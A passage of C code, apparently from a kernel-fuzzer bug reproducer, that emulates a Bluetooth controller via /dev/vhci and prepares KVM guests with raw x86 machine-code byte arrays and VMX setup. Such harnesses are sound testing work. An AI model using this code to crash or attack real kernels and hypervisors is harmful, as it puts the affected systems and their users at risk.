HCI_EVENT_PKT 4 #define HCI_VENDOR_PKT 0xff struct hci_command_hdr { uint16_t opcode; uint8_t plen; } __attribute__((packed)); struct hci_event_hdr { uint8_t evt; uint8_t plen; } __attribute__((packed)); #define HCI_EV_CONN_COMPLETE 0x03 struct hci_ev_conn_complete { uint8_t status; uint16_t handle; bdaddr_t bdaddr; uint8_t link_type; uint8_t encr_mode; } __attribute__((packed)); #define HCI_EV_CONN_REQUEST 0x04 struct hci_ev_conn_request { bdaddr_t bdaddr; uint8_t dev_class[3]; uint8_t link_type; } __attribute__((packed)); #define HCI_EV_REMOTE_FEATURES 0x0b struct hci_ev_remote_features { uint8_t status; uint16_t handle; uint8_t features[8]; } __attribute__((packed)); #define HCI_EV_CMD_COMPLETE 0x0e struct hci_ev_cmd_complete { uint8_t ncmd; uint16_t opcode; } __attribute__((packed)); #define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a #define HCI_OP_READ_BUFFER_SIZE 0x1005 struct hci_rp_read_buffer_size { uint8_t status; uint16_t acl_mtu; uint8_t sco_mtu; uint16_t acl_max_pkt; uint16_t sco_max_pkt; } __attribute__((packed)); #define HCI_OP_READ_BD_ADDR 0x1009 struct hci_rp_read_bd_addr { uint8_t status; bdaddr_t bdaddr; } __attribute__((packed)); #define HCI_EV_LE_META 0x3e struct hci_ev_le_meta { uint8_t subevent; } __attribute__((packed)); #define HCI_EV_LE_CONN_COMPLETE 0x01 struct hci_ev_le_conn_complete { uint8_t status; uint16_t handle; uint8_t role; uint8_t bdaddr_type; bdaddr_t bdaddr; uint16_t interval; uint16_t latency; uint16_t supervision_timeout; uint8_t clk_accurancy; } __attribute__((packed)); struct hci_dev_req { uint16_t dev_id; uint32_t dev_opt; }; struct vhci_vendor_pkt { uint8_t type; uint8_t opcode; uint16_t id; }; #define HCIDEVUP _IOW('H', 201, int) #define HCISETSCAN _IOW('H', 221, int) static int vhci_fd = -1; static void rfkill_unblock_all() { int fd = open("/dev/rfkill", O_WRONLY); if (fd < 0) exit(1); struct rfkill_event event = {0}; event.idx = 0; event.type = RFKILL_TYPE_ALL; event.op = RFKILL_OP_CHANGE_ALL; event.soft = 0; event.hard = 0; if (write(fd, &event, sizeof(event)) < 0) exit(1); close(fd); } static void hci_send_event_packet(int fd, uint8_t evt, void* data, size_t data_len) { struct iovec iv[3]; struct hci_event_hdr hdr; hdr.evt = evt; hdr.plen = data_len; uint8_t type = HCI_EVENT_PKT; iv[0].iov_base = &type; iv[0].iov_len = sizeof(type); iv[1].iov_base = &hdr; iv[1].iov_len = sizeof(hdr); iv[2].iov_base = data; iv[2].iov_len = data_len; if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0) exit(1); } static void hci_send_event_cmd_complete(int fd, uint16_t opcode, void* data, size_t data_len) { struct iovec iv[4]; struct hci_event_hdr hdr; hdr.evt = HCI_EV_CMD_COMPLETE; hdr.plen = sizeof(struct hci_ev_cmd_complete) + data_len; struct hci_ev_cmd_complete evt_hdr; evt_hdr.ncmd = 1; evt_hdr.opcode = opcode; uint8_t type = HCI_EVENT_PKT; iv[0].iov_base = &type; iv[0].iov_len = sizeof(type); iv[1].iov_base = &hdr; iv[1].iov_len = sizeof(hdr); iv[2].iov_base = &evt_hdr; iv[2].iov_len = sizeof(evt_hdr); iv[3].iov_base = data; iv[3].iov_len = data_len; if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0) exit(1); } static bool process_command_pkt(int fd, char* buf, ssize_t buf_size) { struct hci_command_hdr* hdr = (struct hci_command_hdr*)buf; if (buf_size < (ssize_t)sizeof(struct hci_command_hdr) || hdr->plen != buf_size - sizeof(struct hci_command_hdr)) { exit(1); } switch (hdr->opcode) { case HCI_OP_WRITE_SCAN_ENABLE: { uint8_t status = 0; hci_send_event_cmd_complete(fd, hdr->opcode, &status, sizeof(status)); return true; } case HCI_OP_READ_BD_ADDR: { struct hci_rp_read_bd_addr rp = {0}; rp.status = 0; memset(&rp.bdaddr, 0xaa, 6); hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp)); return false; } case HCI_OP_READ_BUFFER_SIZE: { struct hci_rp_read_buffer_size rp = {0}; rp.status = 0; rp.acl_mtu = 1021; rp.sco_mtu = 96; rp.acl_max_pkt = 4; rp.sco_max_pkt = 6; hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp)); return false; } } char dummy[0xf9] = {0}; hci_send_event_cmd_complete(fd, hdr->opcode, dummy, sizeof(dummy)); return false; } static void* event_thread(void* arg) { while (1) { char buf[1024] = {0}; ssize_t buf_size = read(vhci_fd, buf, sizeof(buf)); if (buf_size < 0) exit(1); if (buf_size > 0 && buf[0] == HCI_COMMAND_PKT) { if (process_command_pkt(vhci_fd, buf + 1, buf_size - 1)) break; } } return NULL; } #define HCI_HANDLE_1 200 #define HCI_HANDLE_2 201 static void initialize_vhci() { int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI); if (hci_sock < 0) exit(1); vhci_fd = open("/dev/vhci", O_RDWR); if (vhci_fd == -1) exit(1); const int kVhciFd = 241; if (dup2(vhci_fd, kVhciFd) < 0) exit(1); close(vhci_fd); vhci_fd = kVhciFd; struct vhci_vendor_pkt vendor_pkt; if (read(vhci_fd, &vendor_pkt, sizeof(vendor_pkt)) != sizeof(vendor_pkt)) exit(1); if (vendor_pkt.type != HCI_VENDOR_PKT) exit(1); pthread_t th; if (pthread_create(&th, NULL, event_thread, NULL)) exit(1); int ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id); if (ret) { if (errno == ERFKILL) { rfkill_unblock_all(); ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id); } if (ret && errno != EALREADY) exit(1); } struct hci_dev_req dr = {0}; dr.dev_id = vendor_pkt.id; dr.dev_opt = SCAN_PAGE; if (ioctl(hci_sock, HCISETSCAN, &dr)) exit(1); struct hci_ev_conn_request request; memset(&request, 0, sizeof(request)); memset(&request.bdaddr, 0xaa, 6); *(uint8_t*)&request.bdaddr.b[5] = 0x10; request.link_type = ACL_LINK; hci_send_event_packet(vhci_fd, HCI_EV_CONN_REQUEST, &request, sizeof(request)); struct hci_ev_conn_complete complete; memset(&complete, 0, sizeof(complete)); complete.status = 0; complete.handle = HCI_HANDLE_1; memset(&complete.bdaddr, 0xaa, 6); *(uint8_t*)&complete.bdaddr.b[5] = 0x10; complete.link_type = ACL_LINK; complete.encr_mode = 0; hci_send_event_packet(vhci_fd, HCI_EV_CONN_COMPLETE, &complete, sizeof(complete)); struct hci_ev_remote_features features; memset(&features, 0, sizeof(features)); features.status = 0; features.handle = HCI_HANDLE_1; hci_send_event_packet(vhci_fd, HCI_EV_REMOTE_FEATURES, &features, sizeof(features)); struct { struct hci_ev_le_meta le_meta; struct hci_ev_le_conn_complete le_conn; } le_conn; memset(&le_conn, 0, sizeof(le_conn)); le_conn.le_meta.subevent = HCI_EV_LE_CONN_COMPLETE; memset(&le_conn.le_conn.bdaddr, 0xaa, 6); *(uint8_t*)&le_conn.le_conn.bdaddr.b[5] = 0x11; le_conn.le_conn.role = 1; le_conn.le_conn.handle = HCI_HANDLE_2; hci_send_event_packet(vhci_fd, HCI_EV_LE_META, &le_conn, sizeof(le_conn)); pthread_join(th, NULL); close(hci_sock); } const char kvm_asm16_cpl3[] = "\x0f\x20\xc0\x66\x83\xc8\x01\x0f\x22\xc0\xb8\xa0\x00\x0f\x00\xd8\xb8\x2b" "\x00\x8e\xd8\x8e\xc0\x8e\xe0\x8e\xe8\xbc\x00\x01\xc7\x06\x00\x01\x1d\xba" "\xc7\x06\x02\x01\x23\x00\xc7\x06\x04\x01\x00\x01\xc7\x06\x06\x01\x2b\x00" "\xcb"; const char kvm_asm32_paged[] = "\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0"; const char kvm_asm32_vm86[] = "\x66\xb8\xb8\x00\x0f\x00\xd8\xea\x00\x00\x00\x00\xd0\x00"; const char kvm_asm32_paged_vm86[] = "\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0\x66\xb8\xb8\x00\x0f\x00\xd8" "\xea\x00\x00\x00\x00\xd0\x00"; const char kvm_asm64_enable_long[] = "\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0\xea\xde\xc0\xad\x0b\x50\x00" "\x48\xc7\xc0\xd8\x00\x00\x00\x0f\x00\xd8"; const char kvm_asm64_init_vm[] = "\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0\xea\xde\xc0\xad\x0b\x50\x00" "\x48\xc7\xc0\xd8\x00\x00\x00\x0f\x00\xd8\x48\xc7\xc1\x3a\x00\x00\x00\x0f" "\x32\x48\x83\xc8\x05\x0f\x30\x0f\x20\xe0\x48\x0d\x00\x20\x00\x00\x0f\x22" "\xe0\x48\xc7\xc1\x80\x04\x00\x00\x0f\x32\x48\xc7\xc2\x00\x60\x00\x00\x89" "\x02\x48\xc7\xc2\x00\x70\x00\x00\x89\x02\x48\xc7\xc0\x00\x5f\x00\x00\xf3" "\x0f\xc7\x30\x48\xc7\xc0\x08\x5f\x00\x00\x66\x0f\xc7\x30\x0f\xc7\x30\x48" "\xc7\xc1\x81\x04\x00\x00\x0f\x32\x48\x83\xc8\x3f\x48\x21\xd0\x48\xc7\xc2" "\x00\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x02\x40\x00\x00\x48\xb8\x84\x9e" "\x99\xf3\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1e\x40\x00\x00\x48\xc7" "\xc0\x81\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc1\x83\x04\x00\x00\x0f\x32\x48" "\x0d\xff\x6f\x03\x00\x48\x21\xd0\x48\xc7\xc2\x0c\x40\x00\x00\x0f\x79\xd0" "\x48\xc7\xc1\x84\x04\x00\x00\x0f\x32\x48\x0d\xff\x17\x00\x00\x48\x21\xd0" "\x48\xc7\xc2\x12\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x04\x2c\x00\x00\x48" "\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x28\x00\x00\x48\xc7" "\xc0\xff\xff\xff\xff\x0f\x79\xd0\x48\xc7\xc2\x02\x0c\x00\x00\x48\xc7\xc0" "\x50\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc0\x58\x00\x00\x00\x48\xc7\xc2\x00" "\x0c\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x04\x0c\x00\x00\x0f\x79\xd0\x48\xc7" "\xc2\x06\x0c\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x08\x0c\x00\x00\x0f\x79\xd0" "\x48\xc7\xc2\x0a\x0c\x00\x00\x0f\x79\xd0\x48\xc7\xc0\xd8\x00\x00\x00\x48" "\xc7\xc2\x0c\x0c\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x02\x2c\x00\x00\x48\xc7" "\xc0\x00\x05\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x4c\x00\x00\x48\xc7\xc0" "\x50\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x10\x6c\x00\x00\x48\xc7\xc0\x00" "\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x12\x6c\x00\x00\x48\xc7\xc0\x00\x00" "\x00\x00\x0f\x79\xd0\x0f\x20\xc0\x48\xc7\xc2\x00\x6c\x00\x00\x48\x89\xc0" "\x0f\x79\xd0\x0f\x20\xd8\x48\xc7\xc2\x02\x6c\x00\x00\x48\x89\xc0\x0f\x79" "\xd0\x0f\x20\xe0\x48\xc7\xc2\x04\x6c\x00\x00\x48\x89\xc0\x0f\x79\xd0\x48" "\xc7\xc2\x06\x6c\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7" "\xc2\x08\x6c\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2" "\x0a\x6c\x00\x00\x48\xc7\xc0\x00\x3a\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0c" "\x6c\x00\x00\x48\xc7\xc0\x00\x10\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0e\x6c" "\x00\x00\x48\xc7\xc0\x00\x38\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x14\x6c\x00" "\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x16\x6c\x00\x00" "\x48\x8b\x04\x25\x10\x5f\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x00\x00\x00" "\x48\xc7\xc0\x01\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x02\x00\x00\x00\x48" "\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x20\x00\x00\x48\xc7" "\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x02\x20\x00\x00\x48\xc7\xc0" "\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x04\x20\x00\x00\x48\xc7\xc0\x00" "\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x06\x20\x00\x00\x48\xc7\xc0\x00\x00" "\x00\x00\x0f\x79\xd0\x48\xc7\xc1\x77\x02\x00\x00\x0f\x32\x48\xc1\xe2\x20" "\x48\x09\xd0\x48\xc7\xc2\x00\x2c\x00\x00\x48\x89\xc0\x0f\x79\xd0\x48\xc7" "\xc2\x04\x40\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2" "\x0a\x40\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0e" "\x40\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x10\x40" "\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x16\x40\x00" "\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x14\x40\x00\x00" "\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x60\x00\x00\x48" "\xc7\xc0\xff\xff\xff\xff\x0f\x79\xd0\x48\xc7\xc2\x02\x60\x00\x00\x48\xc7" "\xc0\xff\xff\xff\xff\x0f\x79\xd0\x48\xc7\xc2\x1c\x20\x00\x00\x48\xc7\xc0" "\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1e\x20\x00\x00\x48\xc7\xc0\x00" "\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x20\x20\x00\x00\x48\xc7\xc0\x00\x00" "\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x22\x20\x00\x00\x48\xc7\xc0\x00\x00\x00" "\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x08\x00\x00\x48\xc7\xc0\x58\x00\x00\x00" "\x0f\x79\xd0\x48\xc7\xc2\x02\x08\x00\x00\x48\xc7\xc0\x50\x00\x00\x00\x0f" "\x79\xd0\x48\xc7\xc2\x04\x08\x00\x00\x48\xc7\xc0\x58\x00\x00\x00\x0f\x79" "\xd0\x48\xc7\xc2\x06\x08\x00\x00\x48\xc7\xc0\x58\x00\x00\x00\x0f\x79\xd0" "\x48\xc7\xc2\x08\x08\x00\x00\x48\xc7\xc0\x58\x00\x00\x00\x0f\x79\xd0\x48" "\xc7\xc2\x0a\x08\x00\x00\x48\xc7\xc0\x58\x00\x00\x00\x0f\x79\xd0\x48\xc7" "\xc2\x0c\x08\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2" "\x0e\x08\x00\x00\x48\xc7\xc0\xd8\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x12" "\x68\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x14\x68" "\x00\x00\x48\xc7\xc0\x00\x3a\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x16\x68\x00" "\x00\x48\xc7\xc0\x00\x10\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x18\x68\x00\x00" "\x48\xc7\xc0\x00\x38\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x00\x48\x00\x00\x48" "\xc7\xc0\xff\xff\x0f\x00\x0f\x79\xd0\x48\xc7\xc2\x02\x48\x00\x00\x48\xc7" "\xc0\xff\xff\x0f\x00\x0f\x79\xd0\x48\xc7\xc2\x04\x48\x00\x00\x48\xc7\xc0" "\xff\xff\x0f\x00\x0f\x79\xd0\x48\xc7\xc2\x06\x48\x00\x00\x48\xc7\xc0\xff" "\xff\x0f\x00\x0f\x79\xd0\x48\xc7\xc2\x08\x48\x00\x00\x48\xc7\xc0\xff\xff" "\x0f\x00\x0f\x79\xd0\x48\xc7\xc2\x0a\x48\x00\x00\x48\xc7\xc0\xff\xff\x0f" "\x00\x0f\x79\xd0\x48\xc7\xc2\x0c\x48\x00\x00\x48\xc7\xc0\x00\x00\x00\x00" "\x0f\x79\xd0\x48\xc7\xc2\x0e\x48\x00\x00\x48\xc7\xc0\xff\x1f\x00\x00\x0f" "\x79\xd0\x48\xc7\xc2\x10\x48\x00\x00\x48\xc7\xc0\xff\x1f\x00\x00\x0f\x79" "\xd0\x48\xc7\xc2\x12\x48\x00\x00\x48\xc7\xc0\xff\x1f\x00\x00\x0f\x79\xd0" "\x48\xc7\xc2\x14\x48\x00\x00\x48\xc7\xc0\x93\x40\x00\x00\x0f\x79\xd0\x48" "\xc7\xc2\x16\x48\x00\x00\x48\xc7\xc0\x9b\x20\x00\x00\x0f\x79\xd0\x48\xc7" "\xc2\x18\x48\x00\x00\x48\xc7\xc0\x93\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2" "\x1a\x48\x00\x00\x48\xc7\xc0\x93\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1c" "\x48\x00\x00\x48\xc7\xc0\x93\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1e\x48" "\x00\x00\x48\xc7\xc0\x93\x40\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x20\x48\x00" "\x00\x48\xc7\xc0\x82\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x22\x48\x00\x00" "\x48\xc7\xc0\x8b\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1c\x68\x00\x00\x48" "\xc7\xc0\x00\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x1e\x68\x00\x00\x48\xc7" "\xc0\x00\x91\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x20\x68\x00\x00\x48\xc7\xc0" "\x02\x00\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x06\x28\x00\x00\x48\xc7\xc0\x00" "\x05\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0a\x28\x00\x00\x48\xc7\xc0\x00\x00" "\x00\x00\x0f\x79\xd0\x48\xc7\xc2\x0c\x28\x00\x00\x48\xc7\xc0\x00\x00\x00" "\x00\x0f\x79\xd0\x48\xc7\xc2\x0e\x28\x00\x00\x48\xc7\xc0\x00\x00\x00\x00" "\x0f\x79\xd0\x48\xc7\xc2\x10\x28\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f" "\x79\xd0\x0f\x20\xc0\x48\xc7\xc2\x00\x68\x00\x00\x48\x89\xc0\x0f\x79\xd0" "\x0f\x20\xd8\x48\xc7\xc2\x02\x68\x00\x00\x48\x89\xc0\x0f\x79\xd0\x0f\x20" "\xe0\x48\xc7\xc2\x04\x68\x00\x00\x48\x89\xc0\x0f\x79\xd0\x48\xc7\xc0\x18" "\x5f\x00\x00\x48\x8b\x10\x48\xc7\xc0\x20\x5f\x00\x00\x48\x8b\x08\x48\x31" "\xc0\x0f\x78\xd0\x48\x31\xc8\x0f\x79\xd0\x0f\x01\xc2\x48\xc7\xc2\x00\x44" "\x00\x00\x0f\x78\xd0\xf4"; const char kvm_asm64_vm_exit[] = "\x48\xc7\xc3\x00\x44\x00\x00\x0f\x78\xda\x48\xc7\xc3\x02\x44\x00\x00\x0f" "\x78\xd9\x48\xc7\xc0\x00\x64\x00\x00\x0f\x78\xc0\x48\xc7\xc3\x1e\x68\x00" "\x00\x0f\x78\xdb\xf4"; const char kvm_asm64_cpl3[] = "\x0f\x20\xc0\x0d\x00\x00\x00\x80\x0f\x22\xc0\xea\xde\xc0\xad\x0b\x50\x00" "\x48\xc7\xc0\xd8\x00\x00\x00\x0f\x00\xd8\x48\xc7\xc0\x6b\x00\x00\x00\x8e" "\xd8\x8e\xc0\x8e\xe0\x8e\xe8\x48\xc7\xc4\x80\x0f\x00\x00\x48\xc7\x04\x24" "\x1d\xba\x00\x00\x48\xc7\x44\x24\x04\x63\x00\x00\x00\x48\xc7\x44\x24\x08" "\x80\x0f\x00\x00\x48\xc7\x44\x24\x0c\x6b\x00\x00\x00\xcb"; #define ADDR_TEXT 0x0000 #define ADDR_GDT 0x1000 #define ADDR_LDT 0x1800 #define ADDR_PML4 0x2000 #define ADDR_PDP 0x3000 #define ADDR_PD 0x4000 #define ADDR_STACK0 0x0f80 #define ADDR_VAR_HLT 0x2800 #define ADDR_VAR_SYSRET 0x2808 #define ADDR_VAR_SYSEXIT 0x2810 #define ADDR_VAR_IDT 0x3800 #define ADDR_VAR_TSS64 0x3a00 #define ADDR_VAR_TSS64_CPL3 0x3c00 #define ADDR_VAR_TSS16 0x3d00 #define ADDR_VAR_TSS16_2 0x3e00 #define ADDR_VAR_TSS16_CPL3 0x3f00 #define ADDR_VAR_TSS32 0x4800 #define ADDR_VAR_TSS32_2 0x4a00 #define ADDR_VAR_TSS32_CPL3 0x4c00 #define ADDR_VAR_TSS32_VM86 0x4e00 #define ADDR_VAR_VMXON_PTR 0x5f00 #define ADDR_VAR_VMCS_PTR 0x5f08 #define ADDR_VAR_VMEXIT_PTR 0x5f10 #define ADDR_VAR_VMWRITE_FLD 0x5f18 #define ADDR_VAR_VMWRITE_VAL 0x5f20 #define ADDR_VAR_VMXON 0x6000 #define ADDR_VAR_VMCS 0x7000 #define ADDR_VAR_VMEXIT_CODE 0x9000 #define ADDR_VAR_USER_CODE 0x9100 #define ADDR_VAR_USER_CODE2 0x9120 #define SEL_LDT (1 << 3) #define SEL_CS16 (2 << 3) #define SEL_DS16 (3 << 3) #define SEL_CS16_CPL3 ((4 << 3) + 3) #define SEL_DS16_CPL3 ((5 << 3) + 3) #define SEL_CS32 (6 << 3) #define SEL_DS32 (7 << 3) #define SEL_CS32_CPL3 ((8 << 3) + 3) #define SEL_DS32_CPL3 ((9 << 3) + 3) #define SEL_CS64 (10 << 3) #define SEL_DS64 (11 << 3) #define SEL_CS64_CPL3 ((12 << 3) + 3) #define SEL_DS64_CPL3 ((13 << 3) + 3) #define SEL_CGATE16 (14 << 3) #define SEL_TGATE16 (15 << 3) #define SEL_CGATE32 (16 << 3) #define SEL_TGATE32 (17 << 3) #define SEL_CGATE64 (18 << 3) #define SEL_CGATE64_HI (19 << 3) #define SEL_TSS16 (20 << 3) #define SEL_TSS16_2 (21 << 3) #define SEL_TSS16_CPL3 ((22 << 3) + 3) #define SEL_TSS32 (23 << 3) #define SEL_TSS32_2 (24 << 3) #define SEL_TSS32_CPL3 ((25 << 3) + 3) #define SEL_TSS32_VM86 (26 << 3) #define SEL_TSS64 (27 << 3) #define SEL_TSS64_HI (28 << 3) #define SEL_TSS64_CPL3 ((29 << 3) + 3) #define SEL_TSS64_CPL3_HI (30 << 3) #define MSR_IA32_FEATURE_CONTROL 0x3a #define MSR_IA32_VMX_BASIC 0x480 #define MSR_IA32_SMBASE 0x9e #define MSR_IA32_SYSENTER_CS 0x174 #define MSR_IA32_SYSENTER_ESP 0x175 #define MSR_IA32_SYSENTER_EIP 0x176 #define MSR_IA32_STAR 0xC0000081 #define MSR_IA32_LSTAR 0xC0000082 #define MSR_IA32_VMX_PROCBASED_CTLS2 0x48B #define NEXT_INSN $0xbadc0de #define PREFIX_SIZE 0xba1d #define KVM_SMI _IO(KVMIO, 0xb7) #define CR0_PE 1 #define CR0_MP (1 << 1) #define CR0_EM (1 << 2) #define CR0_TS (1 << 3) #define CR0_ET (1 << 4) #define CR0_NE (1 << 5) #define CR0_WP (1 << 16) #define CR0_AM (1 << 18) #define CR0_NW (1 << 29) #define CR0_CD (1 << 30) #define CR0_PG (1 << 31) #define CR4_VME 1 #define CR4_PVI (1 << 1) #define CR4_TSD (1 << 2) #define CR4_DE (1 << 3) #define CR4_PSE (1 << 4) #define CR4_PAE (1 << 5) #define CR4_MCE (1 << 6) #define CR4_PGE (1 << 7) #define CR4_PCE (1 << 8) #define CR4_OSFXSR (1 << 8) #define CR4_OSXMMEXCPT (1 << 10) #define CR4_UMIP (1 << 11) #define CR4_VMXE (1 << 13) #define CR4_SMXE (1 << 14) #define CR4_FSGSBASE (1 << 16) #define CR4_PCIDE (1 << 17) #define CR4_OSXSAVE (1 << 18) #define CR4_SMEP (1 << 20) #define CR4_SMAP (1 << 21) #define CR4_PKE (1 << 22) #define EFER_SCE 1 #define EFER_LME (1 << 8) #define EFER_LMA (1 << 10) #define EFER_NXE (1 << 11) #define EFER_SVME (1 << 12) #define EFER_LMSLE (1 << 13) #define EFER_FFXSR (1 << 14) #define EFER_TCE (1 << 15) #define PDE32_PRESENT 1 #define PDE32_RW (1 << 1) #define PDE32_USER (1 << 2) #define PDE32_PS (1 << 7) #define PDE64_PRESENT 1 #define PDE64_RW (1 << 1) #define PDE64_USER (1 << 2) #define PDE64_ACCESSED (1 << 5) #define PDE64_DIRTY (1 << 6) #define PDE64_PS (1 << 7) #define PDE64_G (1 << 8) struct tss16 { uint16_t prev; uint16_t sp0; uint16_t ss0; uint16_t sp1; uint16_t ss1; uint16_t sp2; uint16_t ss2; uint16_t ip; uint16_t flags; uint16_t ax; uint16_t cx; uint16_t dx; uint16_t bx; uint16_t sp; uint16_t bp; uint16_t si; uint16_t di; uint16_t es; uint16_t cs; uint16_t ss; uint16_t ds; uint16_t ldt; } __attribute__((packed)); struct tss32 { uint16_t prev, prevh; uint32_t sp0; uint16_t ss0, ss0h; uint32_t sp1; uint16_t ss1, ss1h; uint32_t sp2; uint16_t ss2, ss2h; uint32_t cr3; uint32_t ip; uint32_t flags; uint32_t ax; uint32_t cx; uint32_t dx; uint32_t bx; uint32_t sp; uint32_t bp; uint32_t si; uint32_t di; uint16_t es, esh; uint16_t cs, csh; uint16_t ss, ssh; uint16_t ds, dsh; uint16_t fs, fsh; uint16_t gs, gsh; uint16_t ldt, ldth; uint16_t trace; uint16_t io_bitmap; } __attribute__((packed)); struct tss64 { uint32_t reserved0; uint64_t rsp[3]; uint64_t reserved1; uint64_t ist[7]; uint64_t reserved2; uint32_t reserved3; uint32_t io_bitmap; } __attribute__((packed)); static void fill_segment_descriptor(uint64_t* dt, uint64_t* lt, struct kvm_segment* seg) { uint16_t index = seg->selector >> 3; uint64_t limit = seg->g ? seg->limit >> 12 : seg->limit; uint64_t sd = (limit & 0xffff) | (seg->base & 0xffffff) << 16 | (uint64_t)seg->type << 40 | (uint64_t)seg->s << 44 | (uint64_t)seg->dpl << 45 | (uint64_t)seg->present << 47 | (limit & 0xf0000ULL) << 48 | (uint64_t)seg->avl << 52 | (uint64_t)seg->l << 53 | (uint64_t)seg->db << 54 | (uint64_t)seg->g << 55 | (seg->base & 0xff000000ULL) << 56; dt[index] = sd; lt[index] = sd; } static void fill_segment_descriptor_dword(uint64_t* dt, uint64_t* lt, struct kvm_segment* seg) { fill_segment_descriptor(dt, lt, seg); uint16_t index = seg->selector >> 3; dt[index + 1] = 0; lt[index + 1] = 0; } static void setup_syscall_msrs(int cpufd, uint16_t sel_cs, uint16_t sel_cs_cpl3) { char buf[sizeof(struct kvm_msrs) + 5 * sizeof(struct kvm_msr_entry)]; memset(buf, 0, sizeof(buf)); struct kvm_msrs* msrs = (struct kvm_msrs*)buf; struct kvm_msr_entry* entries = msrs->entries; msrs->nmsrs = 5; entries[0].index = MSR_IA32_SYSENTER_CS; entries[0].data = sel_cs; entries[1].index = MSR_IA32_SYSENTER_ESP; entries[1].data = ADDR_STACK0; entries[2].index = MSR_IA32_SYSENTER_EIP; entries[2].data = ADDR_VAR_SYSEXIT; entries[3].index = MSR_IA32_STAR; entries[3].data = ((uint64_t)sel_cs << 32) | ((uint64_t)sel_cs_cpl3 << 48); entries[4].index = MSR_IA32_LSTAR; entries[4].data = ADDR_VAR_SYSRET; ioctl(cpufd, KVM_SET_MSRS, msrs); } static void setup_32bit_idt(struct kvm_sregs* sregs, char* host_mem, uintptr_t guest_mem) { sregs->idt.base = guest_mem + ADDR_VAR_IDT; sregs->idt.limit = 0x1ff; uint64_t* idt = (uint64_t*)(host_mem + sregs->idt.base); for (int i = 0; i < 32; i++) { struct kvm_segment gate; gate.selector = i << 3; switch (i % 6) { case 0: gate.type = 6; gate.base = SEL_CS16; break; case 1: gate.type = 7; gate.base = SEL_CS16; break; case 2: gate.type = 3; gate.base = SEL_TGATE16; break; case 3: gate.type = 14; gate.base = SEL_CS32; break; case 4: gate.type = 15; gate.base = SEL_CS32; break; case 5: gate.type = 11; gate.base = SEL_TGATE32; break; } gate.limit = guest_mem + ADDR_VAR_USER_CODE2; gate.present = 1; gate.dpl = 0; gate.s = 0; gate.g = 0; gate.db = 0; gate.l = 0; gate.avl = 0; fill_segment_descriptor(idt, idt, &gate); } } static void setup_64bit_idt(struct kvm_sregs* sregs, char* host_mem, uintptr_t guest_mem) { sregs->idt.base = guest_mem + ADDR_VAR_IDT; sregs->idt.limit = 0x1ff; uint64_t* idt = 